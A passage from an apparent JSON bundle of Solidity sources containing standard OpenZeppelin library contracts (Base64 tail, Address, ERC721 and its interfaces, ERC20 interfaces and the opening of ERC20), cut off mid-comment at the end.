bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum 